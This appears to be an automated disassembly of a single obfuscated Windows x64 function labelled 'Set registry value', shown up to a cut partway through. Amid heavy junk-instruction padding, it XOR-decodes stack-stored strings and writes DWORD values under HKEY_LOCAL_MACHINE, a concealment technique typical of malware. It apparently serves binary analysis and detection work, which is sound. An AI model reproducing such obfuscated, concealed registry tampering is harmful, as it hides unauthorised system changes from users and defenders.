Function at 0x140401167
Capabilities:
Set registry value

Disassembly:
push r15
test rdx, 0x6f900669
push r14
cdqe
inc r14b
push r13
push r12
xchg r13, rax
btr r12d, eax
xor r14w, dx
push rsi
bt ax, r15w
push rdi
bt r14, r10
bswap r15w
push rbp
cmp ebp, 0x589a307e
add r14w, r8w
sbb bpl, r8b
push rbx
sub rsp, 0x2f8
xchg r13w, r13w
lahf
cmovge di, r13w
movabs rax, 0xe009ec3224c8fd6e
cmove r14w, cx
xchg r15w, bx
movzx edi, r11w
mov qword [rsp + 0x2e0], rax
mov qword [rsp + 0x40], rax
movzx rdi, r13w
mov r13w, 0x55f2
movabs rax, 0x2204bcb80ebea5a3
mov qword [rsp + 0x2d8], rax
mov dil, pe_nt_image_headers64
mov qword [rsp + 0x48], rax
movabs rax, 0xfbc9f38de01f2fa2
xchg bpl, bl
mov qword [rsp + 0x2d0], rax
movsx rbx, r14w
xchg ebp, r14d
mov qword [rsp + 0x50], rax
movzx r12d, si
mov bl, 0x57
movsx esi, r8w
movabs rax, 0x17a75ff95317a686
seta r13b
mov qword [rsp + 0x2c8], rax
mov sil, 0x5f
mov qword [rsp + 0x58], rax
movabs rax, 0xfd99d5578f55fa6f
movzx rsi, r8w
movzx r14w, r9b
movsx r13w, al
mov qword [rsp + 0x2c0], rax
movsxd r15, r14d
mov qword [rsp + 0x60], rax
cdqe
cbw
mov r15b, 0xda
movabs rax, 0x4b3964fdcd447246
mov bpl, r14b
mov qword [rsp + 0x2b8], rax
mov qword [rsp + 0x68], rax
movsx r13w, r15b
setno bpl
jmp 0x14040129b
movabs rax, 0xee88324679eb2227
mov qword [rsp + 0x2b0], rax
mov qword [rsp + 0x70], rax
movsx r15d, r8w
xchg r13b, al
movabs rax, 0x6d7346ad6d4ffefa
mov qword [rsp + 0x2a8], rax
cmove r13, r12
bswap r15d
mov qword [rsp + 0x78], rax
cbw
jmp 0x1404012df
movabs rax, 0xd093683aef376a76
mov qword [rsp + 0x2a0], rax
mov qword [rsp + 0x80], rax
movsx r15w, r15b
cwde
not r13b
movabs rax, 0xa80f93e9d32b8c6f
mov r15, rax
movsx bp, r10b
mov qword [rsp + 0x298], rax
movsx esi, r13w
xchg ebx, esi
not r14w
mov qword [rsp + 0x88], rax
not r15b
movzx si, r8b
movzx rbx, r12w
movabs rax, 0x33e730243394033e
movzx r15, r9w
movsx rsi, r14w
movsxd rdi, edi
mov qword [rsp + 0x290], rax
movsxd r14, r9d
movsx rdi, r11w
movsx r14d, ax
mov qword [rsp + 0x90], rax
movzx r12w, bpl
mov r12b, 0x38
movsx r12w, r8b
movabs rax, 0xe7e3977e114e6703
mov qword [rsp + 0x288], rax
mov qword [rsp + 0x98], rax
bswap bx
movzx ebp, si
movabs rax, 0xb0b65ec58a603c8
mov qword [rsp + 0x280], rax
movsx bx, r13b
mov qword [rsp + 0xa0], rax
bswap ebx
movabs rax, 0x6708be65ca8156d7
movsx r15w, dil
movsx r13, r12w
mov qword [rsp + 0x278], rax
mov r13b, cl
movzx esi, bp
mov qword [rsp + 0xa8], rax
mov bl, r9b
movabs rax, 0x46a7044da5524090
movzx bx, r11b
cmovp r13, rbx
movzx r15d, bx
mov qword [rsp + 0x270], rax
cmova si, r13w
mov esi, 0x4ef21843
mov qword [rsp + 0xb0], rax
sete r15b
cwde
not r14b
movabs rax, 0x4b8cb541ca050f46
jmp 0x140401435
mov qword [rsp + 0x268], rax
bswap r12w
mov r15b, 0x73
mov qword [rsp + 0xb8], rax
movsx r13d, r15w
lahf
movabs rax, 0xe627ab41184af921
mov qword [rsp + 0x260], rax
movsx r12d, r12w
bswap esi
mov qword [rsp + 0xc0], rax
cbw
movabs rax, 0x34c77b6e31b9a
movsxd rbp, ebp
mov bpl, cl
movsx edi, r9w
mov qword [rsp + 0x258], rax
mov qword [rsp + 0xc8], rax
movabs rax, 0xd8cf4ec0049852bb
mov qword [rsp + 0xd0], rax
bswap bp
cwde
movabs rax, 0xa5eac9844f8ea419
mov di, bx
mov qword [rsp + 0xd8], rax
not bl
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x3c], 0
not r15b
movabs rbp, 0x2eb490333e21dae3
movsx ax, bpl
setnp r12b
cbw
mov qword [rsp + 0xe0], rbp
movabs r14, 0x28903e48668cb956
movzx edi, sp
mov qword [rsp + 0xe8], r14
cwde
movabs r15, 0xe05dec612491fd3d
mov qword [rsp + 0x100], r15
movabs r12, 0x2247bce40ef3a5e6
movzx si, spl
mov qword [rsp + 0x108], r12
mov bh, 0xf8
movzx edi, bx
movabs rsi, 0xfbacf3ffe06d2fd7
setnp bl
movsx eax, cx
jmp 0x14040154f
mov qword [rsp + 0x110], rsi
movzx rbx, cx
cwde
mov r13, rax
movabs rdi, 0x17c85fba5363a6e8
movsxd rax, ebp
mov qword [rsp + 0x118], rdi
movabs rax, 0xfdf6d5258f21fa01
jmp 0x140401583
mov qword [rsp + 0x120], rax
mov r13b, 6
mov rbx, rax
seta al
cwde
movsxd rax, edi
movabs rax, 0x4b4d6498cd17722a
bswap r13
movzx r13w, r13b
mov qword [rsp + 0x2f0], rax
xchg r13b, r13b
mov qword [rsp + 0x128], rax
bswap r13d
movsx r13w, bl
movabs rax, 0xeefa322379b8227b
movzx r13, di
mov qword [rsp + 0x250], rax
mov qword [rsp + 0x130], rax
lahf
cbw
cdqe
movabs rax, 0x6d1646ce6d26fe8c
mov r13b, 0x33
movzx r13w, r13b
not r13b
mov qword [rsp + 0x248], rax
movsxd r13, ecx
mov r13d, 0x5fb46e49
cmovp r13w, r13w
mov qword [rsp + 0x138], rax
movzx r13d, di
movzx rax, bp
movzx ax, r15b
movabs rax, 0xd0fb6869ef6b6a05
mov qword [rsp + 0x240], rax
mov r13d, r8d
bswap r13w
mov qword [rsp + 0x140], rax
bswap rax
movsx r13, r13w
mov r13, 0x51c327b3
movabs rax, 0xa86b938cd3598c0e
setge r13b
mov qword [rsp + 0x238], rax
setp r13b
mov qword [rsp + 0x148], rax
cwde
movabs rax, 0x3382304733f7037f
mov qword [rsp + 0x230], rax
movsxd r13, ebp
movzx r13d, r15w
mov qword [rsp + 0x150], rax
movabs rax, 0xe7b39722113d6770
mov qword [rsp + 0x228], rax
cmovge r13, r15
movsx r13, si
mov qword [rsp + 0x158], rax
movzx r13, bx
lahf
movabs rax, 0xb66658d58d403a9
movsx r13d, dx
xchg r13w, r13w
mov qword [rsp + 0x220], rax
movzx r13, bx
bswap r13
mov qword [rsp + 0x160], rax
movzx r13d, r8w
movsx r13w, r14b
movabs rax, 0x677abe00caf556b2
mov qword [rsp + 0x218], rax
movsx r13d, r15w
not r13d
mov qword [rsp + 0x168], rax
movsx rax, cx
xchg r13, rax
mov ax, 0x2076
movabs rax, 0x46ce040ba50e40e3
movsx r13w, r10b
mov qword [rsp + 0x210], rax
not r13b
mov qword [rsp + 0x170], rax
mov al, r13b
movabs rax, 0x4bedb536ca600f34
movsxd r13, edi
mov qword [rsp + 0x208], rax
mov qword [rsp + 0x178], rax
xchg r13w, ax
movsx r13, di
movabs rax, 0xe648ab111826f94d
movzx r13, r8w
setns r13b
mov qword [rsp + 0x200], rax
mov r13b, spl
mov qword [rsp + 0x180], rax
cdqe
movsxd r13, eax
movabs rax, 0x7a4c14b68a1bf6
setg r13b
mov qword [rsp + 0x1f8], rax
mov qword [rsp + 0x188], rax
movzx eax, di
movzx r13w, r14b
movabs rax, 0xd8a24eaf04dc52e7
movsx r13, r8w
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x190], rax
movsx rax, si
movabs rax, 0xa5bac9ea4fe7a478
setle r13b
movsx r13w, bl
not r13b
mov qword [rsp + 0x1e8], rax
mov qword [rsp + 0x198], rax
not r13b
cdqe
movzx r13w, r10b
movabs rax, 0x2edd90553e4eda91
bswap r13w
movsx r13d, cx
mov qword [rsp + 0x1e0], rax
mov r13w, 0x7ccf
xchg r13w, r13w
bswap r13w
mov qword [rsp + 0x1a0], rax
mov r13b, spl
bswap ax
movabs rax, 0x28903e4866e9b93a
mov qword [rsp + 0x1d8], rax
movsx r13w, r11b
jmp 0x14040185f
mov qword [rsp + 0x1a8], rax
lea r13, [rsp + 0x100]
movsx eax, r10w
jmp 0x14040187b
mov rax, r13
jmp 0x140401883
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x14040188d
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x14040189f
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
jmp 0x1404018ad
movaps xmm0, xmmword [rsp + 0x60]
jmp 0x1404018b7
xorps xmm0, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm0
jmp 0x1404018c5
movaps xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm0
jmp 0x1404018d8
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x1404018e5
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x1404018f6
movaps xmm0, xmmword [rsp + 0x90]
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x14040190f
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x14040191c
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x14040192d
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x14040193a
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x14040194b
movaps xmm0, xmmword [rsp + 0xc0]
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x14040196f
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x140401983
movaps xmm0, xmmword [rsp + 0xe0]
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
mov cx, 0x58b1
not ch
movsx r8w, r13b
lea rdx, [rsp + 0x40]
mov r8d, 0x56711ff6
movsxd rcx, r8d
lea r8, [rsp + 0x30]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
movabs rax, 0xe03fec0024fffd78
jmp 0x1404019d4
mov qword [rsp + 0x1d0], rax
jmp 0x1404019e1
mov qword [rsp + 0x40], rax
movsx rax, r11w
movsxd rax, r9d
movabs rax, 0x222ebca20e96a58a
jmp 0x1404019fc
mov qword [rsp + 0x1c8], rax
jmp 0x140401a09
mov qword [rsp + 0x48], rax
cwde
jmp 0x140401a15
movabs rax, 0xfbcdf388e0082fa5
mov qword [rsp + 0x2e8], rax
mov qword [rsp + 0x50], rax
xchg al, al
cdqe
movzx ax, dil
movabs rax, 0x17c85fba530fa684
jmp 0x140401a44
mov qword [rsp + 0x1c0], rax
jmp 0x140401a51
mov qword [rsp + 0x58], rax
lahf
mov ax, 0x282a
bswap rax
mov qword [rsp + 0x100], r15
setae al
movzx eax, dx
movzx ax, cl
mov qword [rsp + 0x108], r12
mov qword [rsp + 0x110], rsi
movsx ax, spl
cmovge eax, edi
mov qword [rsp + 0x118], rdi
movzx ax, r15b
bswap eax
mov rax, r13
jmp 0x140401a9f
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x140401aa9
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x140401abb
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
shrd rcx, r13, 0xfb
test r14d, edi
rcr dx, 0x59
mov rcx, qword [rsp + 0x30]
bswap r9d
or r9w, r8w
lea rax, [rsp + 0x3c]
bts rdx, r15
bsf r9d, edi
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 4
lea rdx, [rsp + 0x40]
sub r8d, r8d
movsx r9w, bl
mov r9d, 4
jmp 0x140401b0e
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x140401b1e
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x2d8]
jmp 0x140401b3e
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x2d0]
jmp 0x140401b50
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x58], rax
movsxd rax, r8d
lahf
bswap rax
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x60], rax
movzx eax, r13w
movzx rax, bx
mov rax, qword [rsp + 0x2b8]
jmp 0x140401b8b
mov qword [rsp + 0x68], rax
mov ax, r8w
cwde
mov rax, qword [rsp + 0x2b0]
jmp 0x140401ba2
mov qword [rsp + 0x70], rax
xchg al, ah
mov rax, qword [rsp + 0x2a8]
mov qword [rsp + 0x78], rax
movsx eax, sp
mov eax, 0x37b50511
mov ax, bx
mov rax, qword [rsp + 0x2a0]
jmp 0x140401bce
mov qword [rsp + 0x80], rax
movsxd rax, r11d
mov rax, qword [rsp + 0x298]
jmp 0x140401be6
mov qword [rsp + 0x88], rax
movsx eax, bx
not al
mov rax, qword [rsp + 0x290]
jmp 0x140401c00
mov qword [rsp + 0x90], rax
mov rax, 0x45522f84
mov rax, qword [rsp + 0x288]
jmp 0x140401c1c
mov qword [rsp + 0x98], rax
setle ah
movsx eax, r13w
movzx ax, al
mov rax, qword [rsp + 0x280]
jmp 0x140401c3c
mov qword [rsp + 0xa0], rax
mov ax, bp
movsx ax, r15b
setbe al
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0xa8], rax
bswap ax
cwde
mov rax, qword [rsp + 0x270]
jmp 0x140401c70
mov qword [rsp + 0xb0], rax
cmovne rax, r11
movsxd rax, ebp
mov rax, qword [rsp + 0x268]
jmp 0x140401c8c
mov qword [rsp + 0xb8], rax
not ax
mov rax, qword [rsp + 0x260]
mov qword [rsp + 0xc0], rax
movzx rax, bx
cmovg ax, dx
mov rax, qword [rsp + 0x258]
jmp 0x140401cbc
mov qword [rsp + 0xc8], rax
nop
movzx ax, spl
movabs rax, 0xd8c04eda048c52bb
jmp 0x140401cd9
mov qword [rsp + 0xd0], rax
movzx rax, bx
lahf
movabs rax, 0xa5eac9894f8ea414
mov qword [rsp + 0xd8], rax
not eax
mov ax, sp
cbw
mov qword [rsp + 0xe0], rbp
not ax
movsx rbp, di
mov qword [rsp + 0xe8], r14
cbw
mov qword [rsp + 0x100], r15
cwde
mov bp, 0x79cd
mov qword [rsp + 0x108], r12
mov qword [rsp + 0x110], rsi
cbw
cwde
mov qword [rsp + 0x118], rdi
mov rbp, rbx
mov al, sil
jmp 0x140401d4f
mov qword [rsp + 0x120], rbx
mov r14b, 0x9c
cbw
mov r14, qword [rsp + 0x2f0]
jmp 0x140401d6c
mov qword [rsp + 0x128], r14
mov rax, qword [rsp + 0x250]
jmp 0x140401d81
mov qword [rsp + 0x130], rax
cmove rax, rsp
mov rax, qword [rsp + 0x248]
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0x240]
jmp 0x140401daa
mov qword [rsp + 0x140], rax
not ax
mov rax, qword [rsp + 0x238]
mov qword [rsp + 0x148], rax
movsxd rax, r11d
movzx ax, bl
mov rax, qword [rsp + 0x230]
jmp 0x140401dd9
mov qword [rsp + 0x150], rax
cwde
mov rax, qword [rsp + 0x228]
jmp 0x140401def
mov qword [rsp + 0x158], rax
lahf
not ax
cdqe
mov rax, qword [rsp + 0x220]
jmp 0x140401e0a
mov qword [rsp + 0x160], rax
mov rax, qword [rsp + 0x218]
jmp 0x140401e1f
mov qword [rsp + 0x168], rax
not al
mov rax, qword [rsp + 0x210]
jmp 0x140401e36
mov qword [rsp + 0x170], rax
bswap ax
movsx rax, r14w
mov rax, qword [rsp + 0x208]
jmp 0x140401e52
mov qword [rsp + 0x178], rax
movsxd rax, r10d
movzx rax, r11w
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x1f8]
jmp 0x140401e7e
mov qword [rsp + 0x188], rax
movsx rax, bp
jmp 0x140401e8f
mov rax, qword [rsp + 0x1f0]
jmp 0x140401e9c
mov qword [rsp + 0x190], rax
movzx rax, sp
mov rax, qword [rsp + 0x1e8]
jmp 0x140401eb5
mov qword [rsp + 0x198], rax
not ah
movsxd rax, r12d
movsx rax, r13w
mov rax, qword [rsp + 0x1e0]
jmp 0x140401ed3
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x1d8]
jmp 0x140401ee8
mov qword [rsp + 0x1a8], rax
mov rax, r13
jmp 0x140401ef8
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x140401f02
movaps xmm1, xmmword [rsp + 0x50]
jmp 0x140401f0c
movaps xmm2, xmmword [rsp + 0x60]
jmp 0x140401f16
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rsp + 0x70]
jmp 0x140401f23
movaps xmmword [rsp + 0x40], xmm0
jmp 0x140401f2d
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm1
jmp 0x140401f3b
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm2
jmp 0x140401f49
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm3
jmp 0x140401f57
movaps xmm0, xmmword [rsp + 0x80]
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x140401f70
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x140401f7d
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x140401f8e
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x140401f9b
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x140401fac
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x140401fb9
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x140401fca
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x140401fd7
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x140401feb
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x140401ff8
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x14040200c
movaps xmm0, xmmword [rsp + 0xe0]
jmp 0x140402019
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
mov r8w, 0x6d2c
lea rdx, [rsp + 0x40]
movsxd r8, edx
mov rcx, 0xffffffff80000002
movzx r8, r13w
lea r8, [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x40], rax
movzx bx, r9b
cbw
mov rax, qword [rsp + 0x1c8]
not bh
mov qword [rsp + 0x48], rax
movzx rax, r11w
mov rbx, qword [rsp + 0x2e8]
bswap rax
cwde
mov qword [rsp + 0x50], rbx
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x58], rax
movzx ax, r8b
movzx eax, cx
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x108], r12
movzx eax, ax
mov ax, 0x5636
mov qword [rsp + 0x110], rsi
setnp ah
mov qword [rsp + 0x118], rdi
lahf
setbe al
cmovl ax, bp
mov rax, r13
jmp 0x1404020d2
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1404020dc
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1404020e9
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1404020f3
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
mov rcx, qword [rsp + 0x30]
shld dx, r10w, 0x38
movzx edx, r11w
adc dh, 0xf
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 4
lea rdx, [rsp + 0x40]
ror r9b, 0x46
sub r8d, r8d
mov r9d, 4
jmp 0x140402137
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x140402147
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
mov qword [rsp + 0x40], rax
movsxd rax, r9d
movsx ax, r15b
cmovbe eax, r11d
mov rax, qword [rsp + 0x2d8]
jmp 0x140402173
mov qword [rsp + 0x48], rax
bswap eax
movzx eax, di
movzx rax, dx
mov rax, qword [rsp + 0x2d0]
jmp 0x14040218e
mov qword [rsp + 0x50], rax
mov ah, 0x72
mov rax, qword [rsp + 0x2c8]
jmp 0x1404021a3
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x2c0]
jmp 0x1404021b5
mov qword [rsp + 0x60], rax
cdqe
cwde
mov rax, qword [rsp + 0x2b8]
jmp 0x1404021ca
mov qword [rsp + 0x68], rax
cbw
cdqe
mov rax, qword [rsp + 0x2b0]
mov qword [rsp + 0x70], rax
movsx rax, di
jmp 0x1404021eb
mov rax, qword [rsp + 0x2a8]
jmp 0x1404021f8
mov qword [rsp + 0x78], rax
mov eax, 0x6f8c5a12
movsx ax, r12b
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x80], rax
cwde
movzx rax, sp
movsx ax, dl
mov rax, qword [rsp + 0x298]
mov qword [rsp + 0x88], rax
lahf
movsx rax, r10w
mov rax, qword [rsp + 0x290]
jmp 0x140402242
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x288]
jmp 0x140402257
mov qword [rsp + 0x98], rax
bswap ax
not eax
movzx eax, r15w
mov rax, qword [rsp + 0x280]
jmp 0x140402275
mov qword [rsp + 0xa0], rax
movsxd rax, r10d
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0xa8], rax
jmp 0x140402299
mov rax, qword [rsp + 0x270]
jmp 0x1404022a6
mov qword [rsp + 0xb0], rax
movzx ax, dil
movsxd rax, r15d
cdqe
mov rax, qword [rsp + 0x268]
jmp 0x1404022c5
mov qword [rsp + 0xb8], rax
movzx rax, di
mov al, 1
cbw
mov rax, qword [rsp + 0x260]
mov qword [rsp + 0xc0], rax
movsxd rax, r8d
mov al, 0xfa
mov rax, qword [rsp + 0x258]
mov qword [rsp + 0xc8], rax
movzx eax, r9w
movsx rax, di
movabs rax, 0xd8c34edb048f52bb
jmp 0x140402311
mov qword [rsp + 0xd0], rax
movabs rax, 0xa5c8c98b4f83a416
jmp 0x140402328
mov qword [rsp + 0xd8], rax
lahf
xchg ah, ah
sets al
movabs rax, 0x2eb290273e1edaf5
jmp 0x140402345
mov qword [rsp + 0xe0], rax
cbw
cwde
not rax
movabs rax, 0x28f53e246680b95c
jmp 0x140402362
mov qword [rsp + 0xe8], rax
bswap rax
movzx ax, r14b
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x108], r12
nop
not ax
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x118], rdi
movsx rax, r13w
movsxd rax, r13d
xchg ah, al
mov qword [rsp + 0x120], rbp
bswap ax
movzx ax, r10b
cmovl eax, r12d
mov qword [rsp + 0x128], r14
movsx ax, cl
jmp 0x1404023c5
mov rax, qword [rsp + 0x250]
jmp 0x1404023d2
mov qword [rsp + 0x130], rax
jmp 0x1404023e0
mov rax, qword [rsp + 0x248]
jmp 0x1404023ed
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0x240]
jmp 0x140402402
mov qword [rsp + 0x140], rax
nop
mov al, r13b
mov rax, qword [rsp + 0x238]
jmp 0x14040241b
mov qword [rsp + 0x148], rax
lahf
cdqe
mov rax, qword [rsp + 0x230]
jmp 0x140402433
mov qword [rsp + 0x150], rax
cwde
cmovo rax, rcx
movzx ax, bpl
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0x158], rax
xchg al, al
movzx eax, r11w
cmovnp rax, rbx
mov rax, qword [rsp + 0x220]
jmp 0x14040246c
mov qword [rsp + 0x160], rax
movsx ax, r12b
nop
mov rax, qword [rsp + 0x218]
jmp 0x140402488
mov qword [rsp + 0x168], rax
mov rax, qword [rsp + 0x210]
jmp 0x14040249d
mov qword [rsp + 0x170], rax
cmovge ax, bx
movzx eax, ax
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x178], rax
cbw
xchg ah, ah
not ax
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x180], rax
mov ax, r10w
mov rax, qword [rsp + 0x1f8]
jmp 0x1404024e4
mov qword [rsp + 0x188], rax
not ah
cdqe
mov rax, qword [rsp + 0x1f0]
jmp 0x1404024fd
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x1e0]
jmp 0x140402522
mov qword [rsp + 0x1a0], rax
cbw
not al
movzx ax, sil
mov rax, qword [rsp + 0x1d8]
jmp 0x140402540
mov qword [rsp + 0x1a8], rax
movabs rax, 0xa1410f538a85c08b
jmp 0x140402557
mov qword [rsp + 0xf0], rax
jmp 0x140402564
mov qword [rsp + 0x1b0], rax
nop
movabs rax, 0x6078a8fe5539451c
jmp 0x14040257d
mov qword [rsp + 0xf8], rax
jmp 0x14040258a
mov qword [rsp + 0x1b8], rax
movsxd rax, eax
cmovge ax, bp
movsx rax, r10w
mov rax, r13
jmp 0x1404025a5
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1404025af
movaps xmm1, xmmword [rsp + 0x50]
jmp 0x1404025b9